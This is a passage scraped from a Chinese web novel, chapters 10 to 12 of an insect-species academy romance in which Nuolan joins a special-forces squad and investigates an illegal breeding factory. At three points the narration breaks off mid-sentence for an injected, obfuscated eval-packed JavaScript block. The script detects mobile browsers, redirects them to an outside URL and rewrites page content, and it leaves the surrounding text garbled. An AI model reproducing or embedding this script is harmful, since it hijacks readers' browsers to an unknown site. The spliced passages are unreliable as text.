等会儿,你重说,塞哪儿了? 众虫竖起耳朵,连讨论声都停了。 【不是,泄殖腔??就一根手指粗细的泄殖腔??】 众虫:!!! 【一万星元也不少了,能塞得下吗?】 确定没听错,是泄殖腔对吗? 那地方还有这种用途? 可是谁会把钱往泄殖腔那地方塞啊? 这是什么古早虐恋虫爱文纪实文学?小崽子有两个钱了不起啊,真以为元帅的那地方是宇宙黑洞吗! 那个。 能扒掉教导主任裤子看看吗?挺好奇的就是说。 还有,泄殖腔有那么大弹性吗? 虫族全都捂住了自己的屁股… 看什么!你没有屁股吗?要看人家的! 就连蝉族特战队员们也开始好奇起室友的屁股。 晚上能扒了看看吗,或者能塞一点卷纸试试? 反正住一个寝室,方便嘛! 艾尔法:…… 路修:…… 蝉族们愤怒地竖起了耳朵! 并且捂住了屁股! 晚上再说不好吗?那边那个虫,你乱看什么呢?去他大雄的!别乱看我屁股! 10. 第 10 章 就在所有虫族盯着身边虫屁股,钻研各种泄殖腔口扩张理论与实践问题的时候,梅队长带着突袭队的雄虫们从大门飞进来了。 一群绚丽的闪蝶飞舞降落,刮来一阵蝶族芬芳的荷尔蒙气息,给一片死寂的匹配大楼带来新鲜快活的空气。 和他们一起进来的,还有铁青着脸的俩瓜主。 见到诺蓝的那一瞬,雄虫捏紧了拳头,怒火中烧却又敢怒不敢言! 诺蓝居然也在这?这个低等的雌虫,怎么哪都有他? 气虽然气,但是雄虫一个字都不敢说。 谁知道诺蓝还会说出什么惊天大秘密来啊! 他什么都知道! 就问问在场的所有虫族,大大小小百十来个,谁敢惹得起他!! 雄虫憋屈,满腔的怒火冲向教导主任,阴阳怪气道:“老师,你的荷尔蒙浓度只有50%,如果不是我雌父替你在军部托关系上下打点,你现在还在远航舰队当大头兵,怎么可能调回军校当老师?” 教导主任满眼被伤害到的悲伤,可是年龄上的差距使他无法对那么小的雄虫恶语相向。 “把钱还我。” 雄虫居高临下地盯着曾经的爱人:“现在,当着大家的面,自己掏出来,或者我替你掏出来。” 教导主任的脸色无比难看。 钱在哪? 他们以为大家不知道。 其实大家都知道,不就在…… 咳咳,只能心里偷偷八卦这样子。 诺蓝思考了一下,呼唤系统,开始吃瓜,吃完之后,诺蓝倒吸一口凉气。 【哦,可是你自己在找教导主任塞钱之前,不也在更衣室里搞雄雄恋吗?】 啊啊啊!来了来了,就知道诺蓝会打着大家吃瓜!快快快! 【你还让他用嘴给你……臭不要脸!】 教导主任眼睛微眯,微微红着的脸颊,此刻却变得铁青。 雄虫愣在原地,他多想高喊一声放屁!但是……对方是诺蓝啊! 他的心声从来不会出错。 就是因为不知道他心声哪来的,才觉得邪性! 其他虫族全都不吱声了,老老实实躲在墙角。 然而!沸腾的心!颤抖的手!暴打渣雄的教导主任你别停手! 【对方雄虫是学弟,雌父是远航舰队的参谋官,但是生性胆小,被欺负了也不敢还嘴……诶,等会儿,我看看。】 【对,咱们学校有条校规,不是不允许雌虫雄虫互相进异性的厕所嘛,然后打扫卫生的虫是先打扫雌虫厕所,再打扫雄虫厕所,所以垃圾都堆积在雄虫厕所,放学以后统一扔垃圾处理厂焚毁。】 【这个雄虫就经常捡雌虫用过的卫生纸,拿回寝室收藏,每天晒干了晚上吃一张,他室友都不知道……】 【所以他就用这张嘴给阿彻……】 【……噫。】 诺蓝恶心了,诺蓝不知道说什么了,他还偷偷看了一眼大家,好在大家都一副很认真的样子,松了一口气。 只要大家都没注意到他就好,他捂着胸口,现在很想吐。 事实上,所有虫族都很想吐! 这么恶心的事,诺蓝是怎么用那么冷静的语气想出来的啊!! 雄虫的脸色有些惨白,第一时间居然是去看教导主任的反应。 有些虫举起智脑开始录像! 所有同学大吃瓜现场全爆料!也没过多久,星网就被匹配楼这一幕霸占头版头条,实时观看虫数达到了1w! 精彩!好看!爱看! “你还要钱吗?”教导主任冷飕飕的语气问,“我倒是有一个分手的好主意,你听不听?” “……什么?”雄虫一时半会儿没反应过来。 教导主任拉着他的胳膊,把他拉进雄虫厕所,非常彪悍,直接推门就进。 里面正在方便的雄虫捂着尾钩跑出来! 紧接着,所有虫族就听见里面鸡飞蛋打的声音,不知道什么玩意儿碎了,推推搡搡的动静太大,虫族肢体碰撞的声音堪比爆炸。 然后就传来雄虫几乎哀嚎般的苦痛喊声,下一瞬就被不知道什么东西给堵住了…… 估计是那一万块…… 啧啧啧。 啧啧啧! # 消息传到母巢王宫里时,时差不超过一个小时。 偌大的帝宫无比繁忙,在最中心的宫殿里,王虫翻看今天的政务报告。 王虫手边放了一杯远郊星的特级茶,他喝了一口,觉得味道和去年的差不多,于是一边舒服喝茶一边看报告簿。 直到他看到一份来自于帝国军事学院的报告。 “勤政官,你说,我是不是该见见诺蓝那孩子?” “诺蓝刚成年不久,还是得读书,”王虫沉思道:“但他可是给帝国立了大功,适合调到我身边来。” 勤政官反应很快说:“王膝下没有雌子,是对他产生了恻隐之心吗?” 勤政官想了想,“据厄斐尼洛殿下身边的侍官说,殿下最近总去上学,比以前勤奋多了,您说,该不会是因为这小家伙的缘故吧?” 王虫把茶杯重重一放,“哼,我那个从小就心事重重的叛逆老二,一天就会给我惹事儿,他又欺负人家了吧?” “并没有,厄斐尼洛殿下最近很听话,您布置给他的任务都做完了。” 这倒是出乎了王虫的意料。 是块好材料啊诺蓝同学。 # 这场闹剧结束后,医生把匹配报告交给诺蓝,有些难以启齿:“同学,你自己看吧……” 诺蓝看了一眼,头晕目眩,拿着报告,脚步虚浮,走出了房间。 “结果怎么样?” 路修从背后环抱住他的腰,不顾其他雄虫诡异的目光,抢着去看报告。 诺蓝把手里拿着的报告展开,“给你看……” 路修垂眸看了一眼,眼睛顿时亮起来,他松开诺蓝,举着报告放在嘴唇边用力亲了一口,抖搂一下,高高扬起在半空中:“是特战队的匹配通知!诺蓝是我们的了!” 诺蓝想捂住他的嘴,但是在那之前,他看了一眼艾尔法。 艾尔法身姿挺拔,站在不远处,黑色的特战队服勾勒出雄虫完美的轮廓体态,浑身的线条蕴藏着丰富强烈的冲击力,而他的脖子上,戴着一道束缚颈环。 队长有特权不戴束缚颈环,毕竟雄虫在没有虫母存在的时代,不需要时刻拘束言行。 但是艾尔法他这是…… 艾尔法似乎并不把这事当成耻辱,他按着颈环的锁,随后晃了晃手中的钥匙,“过来,诺蓝。” 像是将自由悍利的SS级原始虫兽第一次向文明臣服。 诺蓝知道自己现在该去接过那串钥匙,他迟缓地迈动脚步,然而,他的脚腕被轻轻勾住,牵引着他,身不由己地走到不远处白发红眸的雄性蝴蝶跟前。 贝利尔沉默地看着诺蓝,灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805773|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的呼吸呼出,在诺蓝的脸侧环绕,委屈地抱着诺蓝的腰肢,将他转了一圈。 诺蓝只能搂紧他的脖子:“好啦好啦,别伤心。” 贝利尔那条尾巴在诺蓝脚踝上留连不舍,猩红的双眼只能求助似的看向梅。 “没关系,我来吧。”梅拍了拍贝利尔的肩,贝利尔只能松开手,梅回过身,金色如水的长发轻划过诺蓝的手臂,“小可爱,他想说,就算我们不在一队,也随时欢迎你来突袭队做客。” 诺蓝晕了,揉揉脑袋,“好……” “对了,差点忘记,”梅从口袋里变魔术似的掏出一个盒子,轻声说:“这是我补给你的见面礼,偷偷说一句,我们突袭队没了你不行。” 他云淡风轻地笑了笑,和贝利尔如出一辙的红色眼眸却像宝石一样温润闪耀,他俯下身,将小盒子放进诺蓝口袋里,“这是我给你的贿赂,请收好。” 蝶族芬芳的气息弥漫在鼻腔里,诺蓝觉得他貌似使用了迷蝶香… 梅轻笑了一声,随后在他额头轻轻印下一个礼节性的吻,“会再见面的,对吗?” 事已至此,诺蓝也只能点点头。 # 蝶族来得无声无息,去时也成群飞舞。 突袭队的风格就是如此,特种作战时,他们是最好的刺客,敏捷、潜行、能够隐藏自身体态,变为最普通的枯叶蝶。 特战队的雄虫们都很兴奋,只有艾尔法看上去很沉静,他一直在那里等待,犹如一座棱角分明的俊美雕塑。 今天卢卡斯不在,代替他守在艾尔法身边的是一只褐发雄虫。 褐发雄虫戴着和这里医生差不多的队医执照,高挺鼻梁上架着一副银边眼镜,他盯住诺蓝看,就好像看见一只误闯入雄虫巢穴里的懵懂无辜的雌虫。 在诺蓝走到他身边的时候,雄虫轻嗅了一下他的气味,随后闭上了眼睛,在鼻腔里处理雌虫的信息素气味。 “小可爱,你的第一次发育期开始了,要特殊帮助吗?” 他很有服务精神地说:“我可以配合你的一切需求,包括替你保密。” 诺蓝眨巴眨巴眼睛,所以这位是队医?? “盖亚队医,你们特战队每天的集训那么累,还有时间满足雌虫同学的生理需求吗?不如让他来我们机甲队,我们正好缺一位优秀的指挥师。” 另一位手臂缠绷带的雄虫漫不经心地盯着诺蓝,目光顺着他起伏的发梢轻轻落到他的脊背。 他走近了诺蓝,手掌扣住了他的肩胛骨。 诺蓝不知道他要做什么。 雄性的气息释放出强烈的诱惑意味,诺蓝那一瞬间就膝盖软了。 不过他身侧传来的制止声音透露出一丝强硬。 “匹配不到就硬抢,这可不是我们机甲战队的优良传统,里奥,放手。” 不远处,银发的虫族双腿交叠靠在墙边,轻松闲散地晒着阳光,他与诺蓝对视,好像不带欲望的精神接吻。 他迈开长腿走来,修长高挑的身躯格外显眼,背后的六支虫翅飒飒展开,布满毛细血管的虫翅纤细狰狞。 “回去吧,小家伙。” 名叫古拉德的雄虫将诺蓝推向特战队那边,尽管他的手指有一瞬的僵硬,也没有悔改这一举动。 然后,古拉德按住里奥的胳膊,唇边的轻笑看似轻松,实则警诫,眼尾泪痣随着他的笑容隐藏起来:“你想要他,欲望就不要那么明显,骂你也没用,毕竟你只会爽不会改。” 11. 第 11 章 蜜蜂们确实是螳螂最喜爱的营养补充剂,没有一只蜜蜂会选择成为螳螂的精神力安抚者,不仅仅是体态柔软丰腴的蜂族天生恐惧螳螂的镰刀,还因为无论哪个种族都会对蜂族所产的蜜生出病态而癫狂的迷恋。 他们会用成千上万条细密口器吮吸蜜蜂的蜜腺。 可是诺蓝很瘦,并不丰满,除了腰以下那一掌宽的距离,其他地方堪称削瘦,没什么可以吸吮的。 但他身上……该死的,那股挥散不去的蜜味儿就像魔音洗脑一样难缠。 哪怕是最南端的南极星星系里盛产的蜜也不如这股味道浓郁。 在古拉德即将反悔、想把小蜜蜂拉回身边的时候。 “机甲队的虫族就是没有礼貌。” 盖亚定下结论,推了推眼镜,不动声色挡住了诺蓝。 面容矜贵的雄虫队医扬起唇角,肆意张扬的笑被他那副银边眼镜一压,十分懒散闲适,“我看你们就算有六支翅膀也没用,不如分一点给脑子做做慈善……我说,你们不会是在情热潮里吧?” 情热潮是蚁族一年一度特有的生理周期。 这两位S级更是重量级选手。 众所周知,情热潮里的雄性都是榨干雌虫的疯子。 古拉德一笑,眼角那枚痣就显得分外妖艳,邪气的眼尾一挑,语气也跟着捉摸不定起来:“这是我的私事,你猜去吧。” 诺蓝两腿发软,控制不住自己往前跌去,以为自己要一脑袋扎进白瓷砖地里去,好在一个悍硕滚烫的怀抱迅速接住了他。 诺蓝迷迷糊糊地一脑袋抵在他的胸前。 【晕了…想吐…】 【是谁啊…唔…这么好睡的胸,好像是艾尔法…】 艾尔法似乎叹息一声,单手搂住他的腰,让他能够全部身体倚靠在自己的肩膀上。 【快让开啊啊啊啊我要吐在他身上了——】 艾尔法甚至没有征得诺蓝的同意,手臂冷白的肌肉线条贲然隆起,在诺蓝将白天喝过的营养液全都吐出来之后,气定神闲地用制服袖子擦了擦他的嘴角污渍。 吐了…吐了… 【啊啊啊啊啊好丢脸啊啊啊啊啊啊啊我怎么会吐在队长怀里啊我要死了我没脸见虫了我要怎么面对特战队的兄弟们啊!!!】 【…………】 活虫微死,有事烧纸,再见。 不过艾尔法第一时间翻开了诺蓝的眼皮。 在看见那双有些茫然有些无辜的漂亮黑眸子之后,艾尔法紧缩的瞳仁才有所舒缓。 诺蓝紧紧闭上眼睛,胃里还是有排斥情热潮的反应。 高等种血统的情热潮毒素太够劲了,如果加大剂量,他这会儿已经…… 死吗? 不不不,不会死,而是会被刺激到发情。 诺蓝假装自己正在眩晕,其实,他的呼吸已经开始加快错乱的频率,只要用心听,一定能分辨出——他对发情的毒素有强烈感觉,而不是会让自己濒临死亡边缘。 虫母基因自带溶血功能,便于与各个种族的雄性繁育后代,间接提高后代虫族的免疫力。 这是印刷在纸质课本上的知识点,可惜,这群武力横行的军虫并不太精通文史类虫族的课程。 艾尔法宽长的手掌摸了摸诺蓝的头发,用自己的精神力驱散了其他雄虫留给诺蓝的毒素,诺蓝感受到无法用言语来形容的暖意,脸颊微微滚烫着,愈发贴近年轻的冰蝉。 艾尔法的表情冷峻,将黑发白肤的雌虫少年扣在自己怀里,顺便捞起他虚弱的手臂,搭在自己胸前。 “虽然你们螳螂喜欢用情热潮的毒液标记猎物…” 艾尔法将诺蓝打横抱起,就像独踞领地的远古巨虫终于得到了专属的雌君: “不过诺蓝现在是我们特战队的指挥师,不属于机甲战队,希望你悉知这一点,如果没有要紧的事,不要来打扰他的随队训练。” 特战队的其他蝉族默然无声地聚拢过来,守护着首领和他们的专属安抚师。 他们跟随在艾尔法身后离开了匹配大楼,最里面圈层的虫族保护着柔弱的安抚师,阻挡了风来的方向。 毕竟,诺蓝不仅仅是队长的安抚师,也是全队的安抚师,不出十分钟,整个帝国军事学院都会知晓。 好好使用小蜜蜂的同时,也需要日常维护安抚师的身心健康,毕竟小可爱不是一次性用品,而是全队的希望。 # 艾尔法抱着诺蓝进了自己的寝室。 寝室里空无一虫,诺蓝进了淋浴间,艾尔法并没有跟上去,而是很细心地把新制服放在门外,安静等待着诺蓝洗好了叫他。 顺便,他去冷水房冲掉了自己身上的污秽物,脱掉上衣,只穿着军装裤和长筒军靴,赤/裸着上半身回了寝室。 诺蓝洗好了,在擦头发,雪白修长的后颈在湿黑的发间若隐若现,少年的指骨绕着头发,透露着细长的优美。 似乎是浴室里水蒸气太足了,饱满的雌性费洛蒙散发出来,充盈着整个寝室。 【队长在那里站着做什么?不会是后悔了,不想要我了吧?】 【不可能,退货是绝对不可能。】 【好不容易找到工作,只能苟着这样子。】 诺蓝望着他的上半身,犹如雕塑一般精致细腻,冷白色的,没有伤痕,高等种血脉的虫族会自愈,他们只有在情热潮时期才会脆弱,或者感染上某些疾病,抑或是蜕皮期、易感期这种特殊情况。 副师级的艾尔法身居大校的职位,应该不会出尔反尔吧? “队长,谢谢你,”诺蓝试探着讨好道,“刚才吐你一身,真对不起,我替你洗衣服吧?” “不用。” 沉稳昳丽的蝉族雄虫从来不像贝利尔那样渴求更多抚慰,只是握着诺蓝的手,低声请求:“抱一抱我。” 青年像没有安全感那样站他面前,双手环抱住他的腰,似乎只有这一个请求。 出乎意料的是,少年没有拒绝。 诺蓝揉揉他的头,温柔地回抱着他:“队长,你不用这样小心,我已经是特战队的安抚队员了,如果你有任何需求,我都可以满足你。” “任何?” “嗯,”诺蓝的态度很认真,“只要能帮到你们。” 【我自知能力有限,有些需求真的不行,SS级很强悍的,就算榨干我也帮不上忙……希望队长别嫌弃。】 卢卡斯从寝室外回来,并没有出言打断。 他后背满是鲜血,却不以为意——他去加固翅膀了,给轻薄的蝉翼四周焊上了锋利的流星刃,四道附属触爪悄悄地将门带上,而只有白墙上的影子记录了雄虫悄然无声的行迹。 等到诺蓝发现他,并且被艾尔法抱着,温柔地从身上脱离之后,卢卡斯才走过去,将一封派遣函递过去。 “队长,下属星区发现违法兜售虫族器官的黑工厂,实战系两支特遣队和工程队一起参加排查……我们要把小可爱带上吗?” 诺蓝的气都还没喘匀,被放在沙发里,浑身上下都蜷缩成一团,可怜兮兮地:“……有工资吗?” 卢卡斯看着被队长无情的脑域狠狠压榨过的小蜜蜂,温顺地半跪下来,牵住诺蓝的手,“有的,不会白白让你干。” 但是诺蓝将手迅速抽走,以至于浑身是血的雄虫只触摸到了他纤细温热的指尖。 卢卡斯英俊的脸浮现一丝笑意,他将指尖放进自己的口中,舌底压住那根触碰过诺蓝的手指,抬起眼睫毛,看了他一眼。 哪怕是汗,也如此甜蜜。 忍不住再尝一滴…… 小可爱他……等级成谜啊。 高大挺拔的俊朗雄虫欺身压下少年,攥住他手腕,诺蓝的后背狠狠撞击在柔软的沙发里,紧接着黑发红眸的青年就用热情的舌头舔舐过他脸颊上的汗,诺蓝想要躲,本能地闭上眼睛,可是就连眼皮也被舔得湿漉漉的。 “呜哇,停下,卢卡斯,你在干什么?” 寝室门被推开,一位高挑灵敏的粉发青年跳过障碍物,稳准狠地揪住卢卡斯的领子,颇具雄性力量的手臂青筋一根根暴起,手腕骨骼牵动着修长的肌肉。 和俊俏面容很不符的是,粉发雄虫悍然将卢卡斯扭转身体按在地毯上,单条膝盖跪在他后腰,将他死死抵在地上,掏出手铐,将他制服:“副队,克制一点好吗?” 诺蓝裹着衣服,触须呜呜咿咿地震颤起来,缩在沙发上,躲进艾尔法的身后。 他被舔的浑身都湿了,两条腿打颤,控诉: 【卢卡斯的脑域精神力阈值在正常区间浮动,为什么突然发疯?我脸上有什么东西?呜呜呜,我澡白洗了!】 “小可爱,你不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805774|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”雄虫语气很平稳,悠扬慵懒的声调响起:“常年出入战场的虫族们收到磁力风暴的影响,脑域极易出现问题,我们易怒、脆弱、暴躁,如果脑域里暴走的精神力得不到安慰,那恐怕离死亡或者失去意识也不远了。” “你总该对我们有点戒备的,不要对我们这么温柔,我们会欺负你,控制不住的。” 拥有绚烂颜色头发的雄虫露出一个善意的笑,“快点学会如何驯服我们吧。但也别被卢卡斯迷惑到了,我们真的不这样,我们很有礼貌的。” “我们轻易不会对你有越距行为。” “除非忍不住。” # 实战系一年级到五年级的特战队全部居住在15号楼里,后山是深灰色的寂静松林,这栋楼的居住者都是S级的狠角色,就不像其他宿舍楼那样吵闹。 迦许接到消息,将诺蓝的安抚室设置在了一楼。 室内无虫,他将诺蓝的学生会徽章摆放在桌面上。 那是一颗金黄的晶钻打造而成,与他自己的铜质徽章并不一样。 只有蛾子们世代占领的矿区才有这样的尖货,而这颗来自稀有矿区的黄宝石,是拍卖场上也无法窥见的珍品。 迦许的食指划过宝石边缘,留下一丝自己的气味。 他坐下来,给诺蓝的智脑打传呼,但是没有虫接。 和诺蓝的生活用品一起送来的,还有他的衣物。 “……” 俊秀帅气,甚至说得上是谦逊斯文的白眸青年肤色苍白,修长漂亮的手指轻轻拂过少年的衣物。 他低低呼吸着,将头依恋地埋在少年遗留下来的衣物之中。 灼烫的呼吸浸湿诺蓝的制服,分不清是蜜味还是雄性蛾族生来馥郁的费洛蒙气味。 总之,没有虫发现,寂静安抚室里这一幕。 蛾子放肆地将本相露出来,口裂从他俊秀的半边脸颊开始,逐渐变成红色的面颊裂,雪白的兽齿上有深凹的沟痕,是用来撕扯猎物的武器。 如果仔细观察,会发现那里面的红肉还微微煽动着,散发热气,森森白骨,包裹在红褐色丝状的血肉里。 而雄虫的另半张脸保持着少年清俊的外貌,低头轻嗅的美好模样,从门外角度看去,并没有什么特别的,甚至很容易联想到优美的画面。 直到诺蓝来上第一天班,浑身筋疲力尽地迈进门坎的第一步。 卢卡斯那个混蛋,把他舔的浑身都没有力气。 太倒霉了,先是被毒针蛰,然后又被舔,又没有精神补偿费,这样的日子什么时候才是个头! 好在洗澡的时候,艾尔法陪着他,因为常年跟随中央军队作战在第一线的缘故,他的胸肌格外发达,水珠迸溅上去,顺着沟划落的时候,绝对是一道不可多得的美景。 咳咳……保密,保密。 他答应艾尔法了,否则说出去,队长的颜面往哪搁?他们可是一条战线上的战友! “学、学长?” 诺蓝愣在原地,确定自己没走错,这是一楼,不是学生会。 迦许将诺蓝的围巾叠起来,若无其事地瞥过头来,“你迟到了,诺蓝。” “抱歉抱歉。” 小蜜蜂的触须友好地打了个弯儿,放下手中的特战队资料。 “学长找我有事吗?” 高大清瘦的蛾族雄虫将他的衣服都归类摆好,走过来,“和你办交接仪式,以后这栋楼里的一二年级,你负责。” “哦哦,好。” 诺蓝注意到他身上诡异的不对劲气息,因为他的衬衫衣角总是掖得齐齐整整,领口从不像纨绔虫一样露出锁骨,说话也习惯使用敬语,刚才却很直接地说了。 诺蓝的眼神暴露了他内心所想,迦许靠坐在椅子背上,抱着双臂,轻描淡写道: “闻上去好可怜啊,小蜜蜂。” 他带着冰冷的笑意,身侧的蛾子触肢擦过诺蓝被汗打湿的颊边,“别太害怕了,为了见你,我提前带了束缚项圈,你怕什么?” 毛茸茸的触肢并不尖锐,也不疼痛,诺蓝摇摇头否认,然而此刻藏不住燃烧炙火的雄虫双眼盯紧了他。 “不管是谁,舔你都不能把你舔舒服,真是废物。” 迦许如是嘲讽道,“出任务的时候,注意安全,别被小雄虫们吃干抹净了,小蜜蜂。” 12. 第 12 章 迦许那张欠揍的帅脸还在眼前晃悠,诺蓝登上战舰后,脸上还有毛茸茸的蛾子触爪的感觉,痒啊,被蹂/躏到最后是有点想哭来着…… 诺蓝在舷窗边坐着,郁闷地挠了挠脸,咸鱼甩头,蜂翼遮脸,试图忘记该死的蛾子学长。 “你怎么心不在焉的,谁又惹你不开心了?” 粉色头发名叫希法的雄虫屈起膝盖,席地在诺蓝身边,望着窗外的景致,意有所指道:“离开本校的环境,外面就危险多了。” 军事学院所在的星区隶属于首都星,常年保持着湿润气候,空气中弥漫着久久不散的雾霭,放眼望去,淡淡灰青色的天际线紧挨着大地,雾蒙蒙的天,好像永远也无法晴朗。 【军事学院外到处都是污染区。】 希法的心软了一下。 他很想安慰小雌虫两句,新生都是胆小的,更何况是诺蓝这种刚成年没多久的小雌虫。 【怎么没有异种啊?】 【肚子饿了。】 希法恍惚了一下,真没听错吗…异种能吃? 盖亚队医推着一推车试剂过来,徒手掰开一只支给诺蓝,本来打算给小可爱补充能量,毕竟一旦进入污染区范围排查地下黑工厂的话,飞船就很难定时定量提供餐食了。 不过吃异种什么的…… 盖亚:无奈.jpg 诺蓝的脸颊被轻轻掐了一把。 “唔!”诺蓝捂着脸猛地回头,身体往垫子里狠狠一缩,因为气温骤降而变得冷白的脸颊似乎更白了,抱起双膝战战兢兢地看着身前的雄虫,“盖、盖亚?” “在想什么?” 斯文的褐发雄虫半跪在他面前,伸出手指,擦了下他的耳垂,然后诺蓝就感觉到耳垂有一点刺痛,似乎是对方趁他不注意刺破了他的耳垂。 盖亚推了推银边眼镜,温文尔雅道:“下属星区的温度变化较大,你身体孱弱,我在你耳垂上放一点血,融了一点药剂,别担心,你就会很快恢复健康温度了。” 诺蓝松了一口气,“谢谢。” 盖亚温柔地笑了笑,诺蓝这才发现他的医药小推车里都是雌虫必备神药。 整艘飞船都是雄虫,所以这些药都是给诺蓝特意准备的。 【太感动了盖亚,怎么这么贴心啊……】 盖亚假装自己没听见。 内心暗爽.gif 但是整艘飞船的雄虫都听见了啊。 嫉妒使雄虫面目狰狞,可惜盖亚已经是首都星医学总院的保送生,他有成百条触手,是技艺精湛的医师。 艾尔法那边已经决定好降落地点了,呼叫希法过去,诺蓝也就跟着一起去了。 其实特战队不需要诺蓝做什么,但诺蓝很有自觉,他现在和艾尔法的队伍绑定,艾尔法的精神力能够领导其他雄虫,他只需要负责安抚艾尔法就可以了。 虽然匹配报告没有说明他必须和艾尔法有什么绑定仪式,但SS级雄虫是不可控因素,不太谦虚地说,除了诺蓝,没有一只指挥系虫族能疏导艾尔法。 好在艾尔法是一只很有礼貌的虫,自从诺蓝答应进入特战队后,他就一直佩戴着电击颈环,粗黑蠢笨的黑环隐藏在雄虫高领黑色毛衣和白色发丝下,若隐若现着红色的光点。 诺蓝捏紧了口袋里的钥匙。 【队长…呜呜…你辛苦了…我知道你都是为了我好…】 艾尔法手上的动作停顿了一瞬,离很远就看见了诺蓝,他把战略指导图放下,对诺蓝缓缓招了招手。 他的神情很严肃,但是透露着沉稳的温和。 诺蓝朝他走过去,艾尔法单手搂过他的腰,将他搂到桌子旁,手臂隆起的肌肉线条克制着力气,只是圈住了诺蓝的腰身而已,另一只手却暴力捏开密码锁盒,将战略导图摆在诺蓝面前,修长坚劲的手指指向北边据点。 “晚上想睡在哪里?” 身体贴很近,耳畔,雄虫低沉稳重的声线也像耳语般的低吟,“野外任务繁重危险,有什么要求尽可以向我提,我一定满足你。” 艾尔法很照顾诺蓝,不仅仅是如今上下级同学同事关系,也是因为诺蓝年纪还小,难免娇气。 诺蓝在他怀里享受着温暖,看了看地图,谨慎地把小红旗放在工厂外的临时据点里,“晚上在这里睡觉好吗?” 【在狭窄的地方我比较有安全感…当然如果大家不喜欢的话当我没说…】 艾尔法的手掌轻柔地搂住诺蓝的腰,将他放到一旁的休息位,随后俯身打开飞船搭载的全息地图按钮,扫描整座污染区。 艾尔法宣布:“外部条件良好,可以在北区过夜。” 众虫在旁边围观了全程,毫无异议:“好的,队长。” # 地下工厂并没有正在活动的虫族,似乎是这群虫族得到了消息,提前撤离了,只留下通道尽头一座巨大的蓄水池,里面浸泡着一只巨型的白金外壳多须虫族。 整间工厂分为两半,两边皆是玻璃制的蓄水缸,里面都是血红色的营养液或者是植物汁液一类的精华物质,地下安置着抽力极强的循环系统,整间工厂的温度控制良好,看得出来,一切都是为了供养正中央蓄水池里的神秘异种。 所有特战队员不约而同看向诺蓝。 刚才小可爱不是说要吃异种吗? 【啊,好可惜,这只不能吃,这只是实验体,有研究价值。】 开始了,诺蓝小课堂! 大家认真听课,假装低头查看每一个血红色缸子里是否有活物。 【这只白金霸王虫是一千年前的远古品种,没有意识,是实验室培育出来的雄虫样本,因为造不出虫母,所以造出了一个能使雌虫大批量繁殖后代的新品种。】 【不过这座工厂背后的资本成分很复杂,可以说是四大家族的长辈们都有份,他们对虫母的渴望太强烈了,抽取雄虫精培育出来的废卵相当多,可以说是为了复制虫母的生育奇迹,拔苗助长了。】 众雄虫默默赞同,虫母是神圣的存在,是梦中的婚礼,是左手的情人,不管祸害多少雌虫,都无法取代虫母的地位。 祂不只是繁衍的象征,更是精神的寄托,是信仰,是刺破雾霾的一缕天光,是蓝天白云间飘过的彩虹,是午夜梦回噩梦里最后一幕温柔的救赎,是飘渺的妈妈,可望而不可及的母爱。 【所以四大家族的虫根本就不知道,这间工厂被他们的后辈瓦解了吧……】 诺蓝狗狗崇崇看了眼艾尔法和卢卡斯。 两位家族的后裔似乎并没有太大反应,诺蓝这才放心,趁大家不注意,靠近了血红色的蓄水池。 巨虫不知道是死了还是在沉睡,按照规定,要由工程队的虫族来把它搬运走。 趁着他们还没施工,诺蓝的手碰了碰玻璃。 远古巨虫的触须弹了一下。 它睁开了眼,红褐色的巨瞳看见了梦中的虫母。 虫母是一只蜂,每一个毛孔都散发着蜜味,虽然祂现在是人类的模样,但绝对是它见过的虫族当中,最最标致的人形。 妈妈…… 它贪婪地张开巨嘴,大口大口呼吸着液池里为数不多的氧气,每一条触须都拼命沾染气味。 只需一点点虫母的蜜液气味,就够它再活千年。 诺蓝觉得这巨虫是不是有点太活跃了?他左顾右盼,确定没虫在关注他,抓紧时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805775|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间用精神链接与它沟通。 [虫母……] 巨虫的声音居然无比清润美妙,像一位翩翩少年,[我好像对你一见钟情了,虫母。] 诺蓝:……还可以这样表白的吗? [我拥有强大的生育能力,我比在场的所有虫族都能生养。] 生养? 诺蓝切断链接,回头微笑着对大家招手:“嗨,有虫吗?它快死了,快点把这虫抬走。” [……] 抱歉了,小虫子。 诺蓝怜惜地想。 我可不是小蜜蜂,我要是变大,比你还大。 虫母可是最大体型的虫族呢。 厄斐尼洛抬了抬护目镜,英俊的脸被镜框压紧,眼眶边缘的红晕开,厌恶地看了眼巨虫,其他螳螂工程兵迅速将蓄水池抬起,没错,直接抬起搬走…… 诺蓝看懵了。 